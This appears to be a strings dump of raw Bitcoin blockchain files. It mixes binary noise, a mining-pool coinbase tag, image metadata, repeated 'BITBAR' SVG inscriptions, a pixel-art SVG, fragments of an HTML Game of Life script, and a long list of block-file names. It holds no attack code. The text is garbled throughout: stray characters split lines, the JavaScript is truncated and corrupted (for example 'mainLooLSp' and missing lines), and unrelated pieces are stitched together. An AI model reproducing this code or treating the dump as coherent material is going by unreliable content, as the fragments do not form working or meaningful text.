--..--..--..--..--..-||+.||+.||+.||+.||+.||.++..++..++..++..++..
.||..|++|.++||-..+-..-..--..|.+||.+|++..++.--..--.||..-|..|++||+
||+.+..+--...||..+.|+-+...--...||+++..+--...|-.++||+-+...--.+.||
+|--.-|..|.+.++.--.||+|.-..-..|.+|++.--.-|.||+..+..-.+|++|.-..|.
...-|||++-...-||.++-...+.|.---.+.+...-|-.+++...-||.++-...|||.---
-.-++.+..|.|.-.--+|++.-...+..-.||+.--.-++.+..|...-.-|+|+-.-...+.
...+-...++....+.....|....|.|..-||.+-|-|+---|++---.+-+-..++-..+++
|+.+.|++.|.|++.|.|--.|..-...-.-.+.-.-++.-+|+..|+|+..|+|-..|+.-.|
.+-|||...+...+++-||+-|||...+...+.+--.+--|||..||....+--.++-|||..-
+-.|+.|+.+.|+.-+..-..-.|..-.|+.||+.|+.-+|+.-+.--..-.|-.-.|-.|+..
..++-|.+-||...+-||...+-||...+--||...++-||..++-||..++-||..-|...+-
-..-.|+.|+.-+.|+.|+.-..-.|+.|+.-.-.|+.|+.-+.-.|-.|+..-.|+.|+.-+.
.++-...+--|--|...+||...+-.+-||..+-||..+..++-||.++-|..|...++-...+
|+..-.+.-+.|+.|.-.||+.-|-.|+..-.+.-+.|+.|.-.||+.-|-.|-..-.+.-+.|
+||.||..+-|+-|..+..+||.||.++-++-......-||-||.++.+-|..|..+-||-||.
.|+-..|+-..|+-..|+-..|.-..-.-..-.-+.-.-+.-|-+..|-+..|++..|-+..|-
-|.||...+-.+||-|....+-++|.-|....+-++|.-|....+-+-|.||.+..--+||-|.
...|-|-+...-.-+-..|.|+-+.+.|+|-.+.|.|-.+...|-|-+...-.-+-..|.|+-+
|.|......+.+-+-|-|.|...++.--+||-.||...+..-++|-|.|....+.+-+-+-|-|
+-+.+.+....-|-.|+-+-+.+.+.....|-.|+-+--.+.+.....|-.|.-+--.+.+...
.|.|...+.+.+-+-+|+|--.|.|.|.+.+.+.-.+|+|-|-..|.|.....+.-.-+-|-|-
-|-||.|.|........|.|.|........+.+.++-+-+--|-|-|++-+-+--|-|-||.|.
....+....+.+.+.-.-+-+|++|+|-|-.-.-.|.|.|..|....+.+.+.-.-+--.-+-+
|.+.++-+-.|....+-+--|-...+.+.-|-.|.+.+.-+-.|.....-+--|-.....+.-|
+..+..+.+..+..+.+..+.++.+..+.++.+..+.-+.+..+.-+.-.--.-+.-.--.-+.
-+-.|.++-.|.+.-.|.+.+.|.+.+||.+.+.-||.+.-|-.+.-|-.+.-|-...-|-...
.+..++..+.....|..|..||.||..|-.|-.|-.|--||-||++|-+|-++--.--..-+.-
-+..-+|.++|.+.-|.|-..-+|.-+|.+.-.+.-|..+|..+-.|+|.+.-|..-|..+-..
.-++...+..||..||-..--+||+++--...+++.....||...--.||-+||-+.--+...+
|..+..-.+.-.+|..+|.+.+.-..-.-+|.+|..-.+-.+.-.+|.-+|.-.+.-.+-.-+|
++.-+++...||-..|||++..-++...|||-.|||-++...++..|||--.||--+....+..
.+|.-.-+|.-.+|.-.+|.-.+.|.-.+|.-.+|.-.+|-.-.+|.-.+|.-.+|..-.+|.-
((((((((((((((((((((((((((((((((((((((((((((((((((
((((((((((((((((((((((((((((((((((((((((((((((((((
((((((((((((((((((((((((((((((((((((((((((((((((((
((((((((((((((((((((((((((((((((((((((((((((((((((
((((((((((((((((((((((((((((((((((((((((((((((((((
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
&'()*56789:CDEFGHIJSTUVWXYM
c/Foundry USA Pool #dropgold/
+?7BA>7<;ENcTEI^K;<VvW^gjopoCSz
3kG<Gkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkk
!22222222222222222222222222222222222222222222222222
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
yhttp://ns.adobe.com/xap/1.0/
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 4.4.0-Exiv2"> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:abouM
t="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:GIMP="http://www.gimp.org/xmp/" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="gimp:docid:gimp:5d0983b7-9a29-4126-8f80-62af81277e05" xmpMM:InstanceID="xmp.iid:1d9ae5ce-5d27-49bc-8cd0-5174f0324eb3" xmpMM:OriginalDocumentID="xmp.did:e447246e-bd1e-40ea-a594-4d7ad569124e" dc:Format="image/jpeg" GIMP:API="2.0" GIMP:Platform="Mac OS" GIMP:TimeStampM
="1676336054046853" GIMP:Version="2.10.30" xmp:CreatorTool="GIMP 2.10"> <xmpMM:History> <rdf:Seq> <rdf:li stEvt:action="saved" stEvt:changed="/" stEvt:instanceID="xmp.iid:afb30d31-9bdc-4382-9432-d8d69187e1a8" stEvt:softwareAgent="Gimp 2.10 (Mac OS)" stEvt:when="2023-02-13T19:54:14-05:00"/> </rdf:Seq> </xmpMM:History> </rdf:Description> </rdf:RDF> </x:xmpmeta>                                                                                                                                                               M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                          <?xpacket end="w"?>
Copyright Apple Inc., 2017
text/html;charset=utf-8
	<meta charset="UTF-8">
	<meta http-equiv="Content-Security-Policy" content="img-src *;">
	<title>Hello World</title>
	<img src="https://raw.githubusercontent.com/lightning/bolts/d89c743ec0d27b8d71c228f71b943fb3d2751781/taproot_channel_open.jpg" />
((((((((((((((((((((((((((((((((((((((((((((((((((
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1080 1920" xml:space="preserve" style="background:#b16f29;font-family:monospace"><style>@media (min-aspect-ratio:5/3){path{transform:rotate(90deg)scale(1.5)}g{transform:translate(15%,7%)scale(1.5)}}/*BITBAR - TAKING UP BLOCKSPACE SINCE 2023*/</style><path style="fill:#b16f29" d="M0 0h1080v1920H0z"/><path d="M911.9 172.7s-.6 1148.3-.1 1370.2c.1 28.4 2.6 56.8 7.4 84.7l22.3 123.9V274.1l-29.6-101.4zm-49.2 1384.8H220.8c-20.9 0-38.8 15-42.3 35.7l-26 151.2c-3.7 20.2 16.M
9 34.8 33.9 34.8h708.3c16.9 0 36.8-17.1 33.9-34.8L902 1590.5c-3.4-19.1-19.9-33-39.3-33zm-723.3 194.1 22.4-123.9c4.9-28 7.3-56.3 7.4-84.7.5-222-.1-1370.3-.1-1370.3l-29.7 101.4v1477.5zM873 139.6H207.9c-15.4 0-27.8 12.5-27.8 27.8v1347.9c0 17.2 13.9 31.1 31.1 31.1h658.6c17.2 0 31.1-13.9 31.1-31.1V167.4c0-15.4-12.6-27.8-27.9-27.8z" style="fill:#fed65c;transform-origin:50%"/><g style="transform-origin:50%"><text text-anchor="middle" x="50%" y="48%" style="fill:#b16f29;font-size:248px">1kB</text></g></svg>h!
((((((((((((((((((((((((((((((((((((((((((((((((((
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1080 1920" xml:space="preserve" style="background:#b16f29;font-family:monospace"><style>@media (min-aspect-ratio:5/3){path{transform:rotate(90deg)scale(1.5)}g{transform:translate(15%,7%)scale(1.5)}}/*BITBAR - TAKING UP BLOCKSPACE SINCE 2023*/</style><path style="fill:#b16f29" d="M0 0h1080v1920H0z"/><path d="M911.9 172.7s-.6 1148.3-.1 1370.2c.1 28.4 2.6 56.8 7.4 84.7l22.3 123.9V274.1l-29.6-101.4zm-49.2 1384.8H220.8c-20.9 0-38.8 15-42.3 35.7l-26 151.2c-3.7 20.2 16.M
9 34.8 33.9 34.8h708.3c16.9 0 36.8-17.1 33.9-34.8L902 1590.5c-3.4-19.1-19.9-33-39.3-33zm-723.3 194.1 22.4-123.9c4.9-28 7.3-56.3 7.4-84.7.5-222-.1-1370.3-.1-1370.3l-29.7 101.4v1477.5zM873 139.6H207.9c-15.4 0-27.8 12.5-27.8 27.8v1347.9c0 17.2 13.9 31.1 31.1 31.1h658.6c17.2 0 31.1-13.9 31.1-31.1V167.4c0-15.4-12.6-27.8-27.9-27.8z" style="fill:#fed65c;transform-origin:50%"/><g style="transform-origin:50%"><text text-anchor="middle" x="50%" y="48%" style="fill:#b16f29;font-size:248px">1kB</text></g></svg>h!
((((((((((((((((((((((((((((((((((((((((((((((((((
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1080 1920" xml:space="preserve" style="background:#b16f29;font-family:monospace"><style>@media (min-aspect-ratio:5/3){path{transform:rotate(90deg)scale(1.5)}g{transform:translate(15%,7%)scale(1.5)}}/*BITBAR - TAKING UP BLOCKSPACE SINCE 2023*/</style><path style="fill:#b16f29" d="M0 0h1080v1920H0z"/><path d="M911.9 172.7s-.6 1148.3-.1 1370.2c.1 28.4 2.6 56.8 7.4 84.7l22.3 123.9V274.1l-29.6-101.4zm-49.2 1384.8H220.8c-20.9 0-38.8 15-42.3 35.7l-26 151.2c-3.7 20.2 16.M
9 34.8 33.9 34.8h708.3c16.9 0 36.8-17.1 33.9-34.8L902 1590.5c-3.4-19.1-19.9-33-39.3-33zm-723.3 194.1 22.4-123.9c4.9-28 7.3-56.3 7.4-84.7.5-222-.1-1370.3-.1-1370.3l-29.7 101.4v1477.5zM873 139.6H207.9c-15.4 0-27.8 12.5-27.8 27.8v1347.9c0 17.2 13.9 31.1 31.1 31.1h658.6c17.2 0 31.1-13.9 31.1-31.1V167.4c0-15.4-12.6-27.8-27.9-27.8z" style="fill:#fed65c;transform-origin:50%"/><g style="transform-origin:50%"><text text-anchor="middle" x="50%" y="48%" style="fill:#b16f29;font-size:248px">1kB</text></g></svg>h!
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1080 1920" xml:space="preserve" style="background:#b16f29;font-family:monospace"><style>@media (min-aspect-ratio:5/3){path{transform:rotate(90deg)scale(1.5)}g{transform:translate(15%,7%)scale(1.5)}}/*BITBAR - TAKING UP BLOCKSPACE SINCE 2023*/</style><path style="fill:#b16f29" d="M0 0h1080v1920H0z"/><path d="M911.9 172.7s-.6 1148.3-.1 1370.2c.1 28.4 2.6 56.8 7.4 84.7l22.3 123.9V274.1l-29.6-101.4zm-49.2 1384.8H220.8c-20.9 0-38.8 15-42.3 35.7l-26 151.2c-3.7 20.2 16.M
9 34.8 33.9 34.8h708.3c16.9 0 36.8-17.1 33.9-34.8L902 1590.5c-3.4-19.1-19.9-33-39.3-33zm-723.3 194.1 22.4-123.9c4.9-28 7.3-56.3 7.4-84.7.5-222-.1-1370.3-.1-1370.3l-29.7 101.4v1477.5zM873 139.6H207.9c-15.4 0-27.8 12.5-27.8 27.8v1347.9c0 17.2 13.9 31.1 31.1 31.1h658.6c17.2 0 31.1-13.9 31.1-31.1V167.4c0-15.4-12.6-27.8-27.9-27.8z" style="fill:#fed65c;transform-origin:50%"/><g style="transform-origin:50%"><text text-anchor="middle" x="50%" y="48%" style="fill:#b16f29;font-size:248px">1kB</text></g></svg>h!
<svg viewBox="0 -0.5 24 24" shape-rendering="crispEdges" xmlns="http://www.w3.org/2000/svg">
    Ordinum bar #013
  <path d="M0 0h24M0 1h1m22 0h1M0 2h1m22 0h1M0 3h1m2 0h1m7 0h3m2 0h1m2 0h3m1 0h1M0 4h1m1 0h2m7 0h1m3 0h1m1 0h1m2 0h1m2 0h1M0 5h1m2 0h1m9 0h1m1 0h3m2 0h1m2 0h1M0 6h1m2 0h1m7 0h3m1 0h1m1 0h1m2 0h1m2 0h1M0 7h1m22 0h1M0 8h1m22 0h1M0 9h1m22 0h1M0 10h1m13 0h3m6 0h1M0 11h1m11 0h2m2 0h2m5 0h1M0 12h1m9 0h3m2 0h2m2 0h1m3 0h1M0 13h1m7 0h7m5 0h1m2 0h1M0 14h1m5 0h7m7 0h1m2 0h1M0 15h1m3 0h1M
m1 0h5m8 0h1m3 0h1M0 16h1m3 0h2m1 0h2m8 0h1m5 0h1M0 17h1m3 0h3m8 0h1m7 0h1M0 18h1m4 0h2m6 0h1m9 0h1M0 19h1m5 0h1m4 0h1m11 0h1M0 20h1m6 0h1m1 0h1m13 0h1M0 21h1m7 0h1m14 0h1M0 22h1m22 0h1M0 23h24" stroke="#f7931a"></path>
  <path d="M1 1h22M1 2h22M1 3h2m1 0h1m2 0h1m2 0h1m3 0h2m1 0h2m3 0h1M1 4h1m2 0h1m1 0h1m1 0h1m1 0h1m2 0h2m1 0h1m1 0h2m1 0h2M1 5h2m1 0h1m1 0h1m1 0h1m1 0h2m2 0h1m3 0h2m1 0h2M1 6h2m1 0h1m1 0h3m1 0h1m3 0h1m1 0h1m1 0h2m1 0h2M1 7h22M1 8h13m3 0h6M1 9h11m6 0h5M1 10h9m9 0h4M1 11h7m12 0h3M1 12h5m15 0h2M1 13h4m1M
6 0h2M1 14h3m17 0h2M1 15h3m16 0h3M1 16h2m15 0h5M1 17h2m13 0h7M1 18h3m10 0h5m3 0h1M1 19h4m7 0h7m3 0h1M1 20h5m4 0h9m3 0h1M1 21h6m2 0h10m3 0h1M1 22h22" stroke="#000"></path>
  <path d="M5 3h2m1 0h2M5 4h1m1 0h1m1 0h1M5 5h1m1 0h1m1 0h1M5 6h1m3 0h1" stroke="#fff"></path>
  <path d="M12 4h1m-1 1h1m6 13h3m-3 1h3m-3 1h2m-2 1h1" stroke="#0800af"></path>
  <path d="M14 8h1m1 0h1m-5 1h1m4 0h1m-8 1h1m7 0h1M8 11h1m-3 1h1m13 0h1M5 13h1m-2 1h1m-2 2h1m-1 1h1m1 2h1m1 2h1" stroke="#d77600"></path>
  <path d="M15 8h1m-3 1h1m-3 1h1m-3 MP
1h1m9 0h1M7 12h1m9 1h3m-5 1h5m-7 1h6m-8 1h6m-8 1h6M4 18h1m3 0h5m-5 1h3m-5 1h1m1 0h1" stroke="#c86e02"></path>
  <path d="M14 9h3m-5 1h2m3 0h1m-8 1h2m2 0h2m2 0h1M8 12h2m3 0h2m2 0h2M6 13h2m7 0h2M5 14h1m7 0h2M5 15h1m5 0h2m-7 1h1m2 0h2m-4 1h2m-2 1h1m-1 1h1" stroke="#fc6"></path>
  <path d="M21 20h1m-2 1h2" stroke="#5850ff"></path>
text/html;charset=utf-8
	<title>Game of Life</title>
<body style="background-color: white;">
	<canvas id="gameOfLife" width="600" height="600"></canvas>
		const canvas = document.getElementById('gameOfLife');
		const ctx = canvas.getContext('2d');
		const cellSize = 10; // size of each cell in pixels
		const rows = canvas.height / cellSize; // number of rows in the grid
		const cols = canvas.width / cellSize; // number of columns in the grid
		let cells = []; // 2D array to store the state oM
		let colors = []; // 2D array to store the color of each cell
		// Initialize the cells and colors arrays with random values
		for (let i = 0; i < rows; i++) {
			for (let j = 0; j < cols; j++) {
				cells[i][j] = Math.round(Math.random());
				colors[i][j] = `rgb(${Math.floor(Math.random() * 256)}, ${Math.floor(Math.random() * 256)}, ${Math.floor(Math.random() * 256)})`;
		// Function to draw the grid and cells on the canvas
			ctx.clearRect(0, 0, canvas.width, canvas.height);
			for (let i = 0; i <= rows; i++) {
				ctx.moveTo(0, i * cellSize);
				ctx.lineTo(canvas.width, i * cellSize);
			for (let j = 0; j <= cols; j++) {
				ctx.moveTo(j * cellSize, 0);
				ctx.lineTo(j * cellSize, canvas.height);
			ctx.strokeStyle = 'rgba(0, 0, 0, 0.1)';
			// Draw the cells
			for (let i = 0; i < rows; i++) {
				for (let j = 0; j < cols; j++) {
(cells[i][j] === 1) {
						ctx.fillStyle = colors[i][j];
						ctx.fillRect(j * cellSize, i * cellSize, cellSize, cellSize);
		// Function to update the state of the cells for the next generation
		function updateCells() {
			// Create a copy of the current cells array
			let newCells = JSON.parse(JSON.stringify(cells));
			for (let i = 0; i < rows; i++) {
				for (let j = 0; j < cols; j++) {
					let neighbors = 0;
					// Count the number of live neighbors
					for (let x = -1;M
						for (let y = -1; y <= 1; y++) {
							if (x === 0 && y === 0) {
							let row = i + x;
							let col = j + y;
							if (row >= 0 && row < rows && col >= 0 && col < cols) {
								if (cells[row][col] === 1) {
									neighbors++;
					// Apply the rules of the Game of Life to determine the state of the cell in the next generation
					if (cells[i][j] === 1) {
						if (neighbors < 2 || neighbors > 3) {
							newCells[i][jM
						if (neighbors === 3) {
							newCells[i][j] = 1;
							colors[i][j] = `rgb(${Math.floor(Math.random() * 256)}, ${Math.floor(Math.random() * 256)}, ${Math.floor(Math.random() * 256)})`;
			// Update the cells array with the new values
			cells = newCells;
		// Main loop that updates and draws the cells on the canvas
		function mainLoop() {
			// Call the main loop again after a short delay
			setTimeout(mainLooLSp, 100);
		// Start the main loop
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1080 1920" xml:space="preserve" style="background:#b16f29;font-family:monospace"><style>@media (min-aspect-ratio:5/3){path{transform:rotate(90deg)scale(1.5)}g{transform:translate(15%,7%)scale(1.5)}}/*BITBAR - TAKING UP BLOCKSPACE SINCE 2023*/</style><path style="fill:#b16f29" d="M0 0h1080v1920H0z"/><path d="M911.9 172.7s-.6 1148.3-.1 1370.2c.1 28.4 2.6 56.8 7.4 84.7l22.3 123.9V274.1l-29.6-101.4zm-49.2 1384.8H220.8c-20.9 0-38.8 15-42.3 35.7l-26 151.2c-3.7 20.2 16.M
9 34.8 33.9 34.8h708.3c16.9 0 36.8-17.1 33.9-34.8L902 1590.5c-3.4-19.1-19.9-33-39.3-33zm-723.3 194.1 22.4-123.9c4.9-28 7.3-56.3 7.4-84.7.5-222-.1-1370.3-.1-1370.3l-29.7 101.4v1477.5zM873 139.6H207.9c-15.4 0-27.8 12.5-27.8 27.8v1347.9c0 17.2 13.9 31.1 31.1 31.1h658.6c17.2 0 31.1-13.9 31.1-31.1V167.4c0-15.4-12.6-27.8-27.9-27.8z" style="fill:#fed65c;transform-origin:50%"/><g style="transform-origin:50%"><text text-anchor="middle" x="50%" y="48%" style="fill:#b16f29;font-size:248px">1kB</text></g></svg>h!
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1080 1920" xml:space="preserve" style="background:#b16f29;font-family:monospace"><style>@media (min-aspect-ratio:5/3){path{transform:rotate(90deg)scale(1.5)}g{transform:translate(15%,7%)scale(1.5)}}/*BITBAR - TAKING UP BLOCKSPACE SINCE 2023*/</style><path style="fill:#b16f29" d="M0 0h1080v1920H0z"/><path d="M911.9 172.7s-.6 1148.3-.1 1370.2c.1 28.4 2.6 56.8 7.4 84.7l22.3 123.9V274.1l-29.6-101.4zm-49.2 1384.8H220.8c-20.9 0-38.8 15-42.3 35.7l-26 151.2c-3.7 20.2 16.M
9 34.8 33.9 34.8h708.3c16.9 0 36.8-17.1 33.9-34.8L902 1590.5c-3.4-19.1-19.9-33-39.3-33zm-723.3 194.1 22.4-123.9c4.9-28 7.3-56.3 7.4-84.7.5-222-.1-1370.3-.1-1370.3l-29.7 101.4v1477.5zM873 139.6H207.9c-15.4 0-27.8 12.5-27.8 27.8v1347.9c0 17.2 13.9 31.1 31.1 31.1h658.6c17.2 0 31.1-13.9 31.1-31.1V167.4c0-15.4-12.6-27.8-27.9-27.8z" style="fill:#fed65c;transform-origin:50%"/><g style="transform-origin:50%"><text text-anchor="middle" x="50%" y="48%" style="fill:#b16f29;font-size:248px">1kB</text></g></svg>h!
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1080 1920" xml:space="preserve" style="background:#b16f29;font-family:monospace"><style>@media (min-aspect-ratio:5/3){path{transform:rotate(90deg)scale(1.5)}g{transform:translate(15%,7%)scale(1.5)}}/*BITBAR - TAKING UP BLOCKSPACE SINCE 2023*/</style><path style="fill:#b16f29" d="M0 0h1080v1920H0z"/><path d="M911.9 172.7s-.6 1148.3-.1 1370.2c.1 28.4 2.6 56.8 7.4 84.7l22.3 123.9V274.1l-29.6-101.4zm-49.2 1384.8H220.8c-20.9 0-38.8 15-42.3 35.7l-26 151.2c-3.7 20.2 16.M
9 34.8 33.9 34.8h708.3c16.9 0 36.8-17.1 33.9-34.8L902 1590.5c-3.4-19.1-19.9-33-39.3-33zm-723.3 194.1 22.4-123.9c4.9-28 7.3-56.3 7.4-84.7.5-222-.1-1370.3-.1-1370.3l-29.7 101.4v1477.5zM873 139.6H207.9c-15.4 0-27.8 12.5-27.8 27.8v1347.9c0 17.2 13.9 31.1 31.1 31.1h658.6c17.2 0 31.1-13.9 31.1-31.1V167.4c0-15.4-12.6-27.8-27.9-27.8z" style="fill:#fed65c;transform-origin:50%"/><g style="transform-origin:50%"><text text-anchor="middle" x="50%" y="48%" style="fill:#b16f29;font-size:248px">1kB</text></g></svg>h!
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1080 1920" xml:space="preserve" style="background:#b16f29;font-family:monospace"><style>@media (min-aspect-ratio:5/3){path{transform:rotate(90deg)scale(1.5)}g{transform:translate(15%,7%)scale(1.5)}}/*BITBAR - TAKING UP BLOCKSPACE SINCE 2023*/</style><path style="fill:#b16f29" d="M0 0h1080v1920H0z"/><path d="M911.9 172.7s-.6 1148.3-.1 1370.2c.1 28.4 2.6 56.8 7.4 84.7l22.3 123.9V274.1l-29.6-101.4zm-49.2 1384.8H220.8c-20.9 0-38.8 15-42.3 35.7l-26 151.2c-3.7 20.2 16.M
9 34.8 33.9 34.8h708.3c16.9 0 36.8-17.1 33.9-34.8L902 1590.5c-3.4-19.1-19.9-33-39.3-33zm-723.3 194.1 22.4-123.9c4.9-28 7.3-56.3 7.4-84.7.5-222-.1-1370.3-.1-1370.3l-29.7 101.4v1477.5zM873 139.6H207.9c-15.4 0-27.8 12.5-27.8 27.8v1347.9c0 17.2 13.9 31.1 31.1 31.1h658.6c17.2 0 31.1-13.9 31.1-31.1V167.4c0-15.4-12.6-27.8-27.9-27.8z" style="fill:#fed65c;transform-origin:50%"/><g style="transform-origin:50%"><text text-anchor="middle" x="50%" y="48%" style="fill:#b16f29;font-size:248px">1kB</text></g></svg>h!
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1080 1920" xml:space="preserve" style="background:#b16f29;font-family:monospace"><style>@media (min-aspect-ratio:5/3){path{transform:rotate(90deg)scale(1.5)}g{transform:translate(15%,7%)scale(1.5)}}/*BITBAR - TAKING UP BLOCKSPACE SINCE 2023*/</style><path style="fill:#b16f29" d="M0 0h1080v1920H0z"/><path d="M911.9 172.7s-.6 1148.3-.1 1370.2c.1 28.4 2.6 56.8 7.4 84.7l22.3 123.9V274.1l-29.6-101.4zm-49.2 1384.8H220.8c-20.9 0-38.8 15-42.3 35.7l-26 151.2c-3.7 20.2 16.M
9 34.8 33.9 34.8h708.3c16.9 0 36.8-17.1 33.9-34.8L902 1590.5c-3.4-19.1-19.9-33-39.3-33zm-723.3 194.1 22.4-123.9c4.9-28 7.3-56.3 7.4-84.7.5-222-.1-1370.3-.1-1370.3l-29.7 101.4v1477.5zM873 139.6H207.9c-15.4 0-27.8 12.5-27.8 27.8v1347.9c0 17.2 13.9 31.1 31.1 31.1h658.6c17.2 0 31.1-13.9 31.1-31.1V167.4c0-15.4-12.6-27.8-27.9-27.8z" style="fill:#fed65c;transform-origin:50%"/><g style="transform-origin:50%"><text text-anchor="middle" x="50%" y="48%" style="fill:#b16f29;font-size:248px">1kB</text></g></svg>h!

blk00000.txt blk00001.txt blk00002.txt blk00003.txt blk00004.txt blk00005.txt blk00006.txt blk00007.txt blk00008.txt blk00009.txt blk00010.txt blk00011.txt blk00012.txt blk00013.txt blk00014.txt blk00015.txt blk00016.txt blk00017.txt blk00018.txt blk00019.txt blk00020.txt blk00021.txt blk00022.txt blk00023.txt blk00024.txt blk00025.txt blk00026.txt blk00027.txt blk00028.txt blk00029.txt blk00030.txt blk00031.txt blk00032.txt blk00033.txt blk00034.txt blk00035.txt blk00036.txt blk00037.txt blk00038.txt blk00039.txt blk00040.txt blk00041.txt blk00042.txt blk00043.txt blk00044.txt blk00045.txt blk00046.txt blk00047.txt blk00048.txt blk00049.txt blk00050.txt blk00051.txt blk00052.txt blk00053.txt blk00054.txt blk00055.txt blk00056.txt blk00057.txt blk00058.txt blk00059.txt blk00060.txt blk00061.txt blk00062.txt blk00063.txt blk00064.txt blk00065.txt blk00066.txt blk00067.txt blk00068.txt blk00069.txt blk00070.txt blk00071.txt blk00072.txt blk00073.txt blk00074.txt blk00075.txt blk00076.txt blk00077.txt blk00078.txt blk00079.txt blk00080.txt blk00081.txt blk00082.txt blk00083.txt blk00084.txt blk00085.txt blk00086.txt blk00087.txt blk00088.txt blk00089.txt blk00090.txt blk00091.txt blk00092.txt blk00093.txt blk00094.txt blk00095.txt blk00096.txt blk00097.txt blk00098.txt blk00099.txt blk00100.txt blk00101.txt blk00102.txt blk00103.txt blk00104.txt blk00105.txt blk00106.txt blk00107.txt blk00108.txt blk00109.txt blk00110.txt blk00111.txt blk00112.txt blk00113.txt blk00114.txt blk00115.txt blk00116.txt blk00117.txt blk00118.txt blk00119.txt blk00120.txt blk00121.txt blk00122.txt blk00123.txt blk00124.txt blk00125.txt blk00126.txt blk00127.txt blk00128.txt blk00129.txt blk00130.txt blk00131.txt blk00132.txt blk00133.txt blk00134.txt blk00135.txt blk00136.txt blk00137.txt blk00138.txt blk00139.txt blk00140.txt blk00141.txt blk00142.txt blk00143.txt blk00144.txt blk00145.txt blk00146.txt blk00147.txt blk00148.txt blk00149.txt blk00150.txt blk00151.txt blk00152.txt blk00153.txt blk00154.txt blk00155.txt blk00156.txt blk00157.txt blk00158.txt blk00159.txt blk00160.txt blk00161.txt blk00162.txt blk00163.txt blk00164.txt blk00165.txt blk00166.txt blk00167.txt blk00168.txt blk00169.txt blk00170.txt blk00171.txt blk00172.txt blk00173.txt blk00174.txt blk00175.txt blk00176.txt blk00177.txt blk00178.txt blk00179.txt blk00180.txt blk00181.txt blk00182.txt blk00183.txt blk00184.txt blk00185.txt blk00186.txt blk00187.txt blk00188.txt blk00189.txt blk00190.txt blk00191.txt blk00192.txt blk00193.txt blk00194.txt blk00195.txt blk00196.txt blk00197.txt blk00198.txt blk00199.txt blk00200.txt blk00201.txt blk00202.txt blk00203.txt blk00204.txt blk00205.txt blk00206.txt blk00207.txt blk00208.txt blk00209.txt blk00210.txt blk00211.txt blk00212.txt blk00213.txt blk00214.txt blk00215.txt blk00216.txt blk00217.txt blk00218.txt blk00219.txt blk00220.txt blk00221.txt blk00222.txt blk00223.txt blk00224.txt blk00225.txt blk00226.txt blk00227.txt blk00228.txt blk00229.txt blk00230.txt blk00231.txt blk00232.txt blk00233.txt blk00234.txt blk00235.txt blk00236.txt blk00237.txt blk00238.txt blk00239.txt blk00240.txt blk00241.txt blk00242.txt blk00243.txt blk00244.txt blk00245.txt blk00246.txt blk00247.txt blk00248.txt blk00249.txt blk00250.txt blk00251.txt blk00252.txt blk00253.txt blk00254.txt blk00255.txt blk00256.txt blk00257.txt blk00258.txt blk00259.txt blk00260.txt blk00261.txt blk00262.txt blk00263.txt blk00264.txt blk00265.txt blk00266.txt blk00267.txt blk00268.txt blk00269.txt blk00270.txt blk00271.txt blk00272.txt blk00273.txt blk00274.txt blk00275.txt blk00276.txt blk00277.txt blk00278.txt blk00279.txt blk00280.txt blk00281.txt blk00282.txt blk00283.txt blk00284.txt blk00285.txt blk00286.txt blk00287.txt blk00288.txt blk00289.txt blk00290.txt blk00291.txt blk00292.txt blk00293.txt blk00294.txt blk00295.txt blk00296.txt blk00297.txt blk00298.txt blk00299.txt blk00300.txt blk00301.txt blk00302.txt blk00303.txt blk00304.txt blk00305.txt blk00306.txt blk00307.txt blk00308.txt blk00309.txt blk00310.txt blk00311.txt blk00312.txt blk00313.txt blk00314.txt blk00315.txt blk00316.txt blk00317.txt blk00318.txt blk00319.txt blk00320.txt blk00321.txt blk00322.txt blk00323.txt blk00324.txt blk00325.txt blk00326.txt blk00327.txt blk00328.txt blk00329.txt blk00330.txt blk00331.txt blk00332.txt blk00333.txt blk00334.txt blk00335.txt blk00336.txt blk00337.txt blk00338.txt blk00339.txt blk00340.txt blk00341.txt blk00342.txt blk00343.txt blk00344.txt blk00345.txt blk00346.txt blk00347.txt blk00348.txt blk00349.txt blk00350.txt blk00351.txt blk00352.txt blk00353.txt blk00354.txt blk00355.txt blk00356.txt blk00357.txt blk00358.txt blk00359.txt blk00360.txt blk00361.txt blk00362.txt blk00363.txt blk00364.txt blk00365.txt blk00366.txt blk00367.txt blk00368.txt blk00369.txt blk00370.txt blk00371.txt blk00372.txt blk00373.txt blk00374.txt blk00375.txt blk00376.txt blk00377.txt blk00378.txt blk00379.txt blk00380.txt blk00381.txt blk00382.txt blk00383.txt blk00384.txt blk00385.txt blk00386.txt blk00387.txt blk00388.txt blk00389.txt blk00390.txt blk00391.txt blk00392.txt blk00393.txt blk00394.txt blk00395.txt blk00396.txt blk00397.txt blk00398.txt blk00399.txt blk00400.txt blk00401.txt blk00402.txt blk00403.txt blk00404.txt blk00405.txt blk00406.txt blk00407.txt blk00408.txt blk00409.txt blk00410.txt blk00411.txt blk00412.txt blk00413.txt blk00414.txt blk00415.txt blk00416.txt blk00417.txt blk00418.txt blk00419.txt blk00420.txt blk00421.txt blk00422.txt blk00423.txt blk00424.txt blk00425.txt blk00426.txt blk00427.txt blk00428.txt blk00429.txt blk00430.txt blk00431.txt blk00432.txt blk00433.txt blk00434.txt blk00435.txt blk00436.txt blk00437.txt blk00438.txt blk00439.txt blk00440.txt blk00441.txt 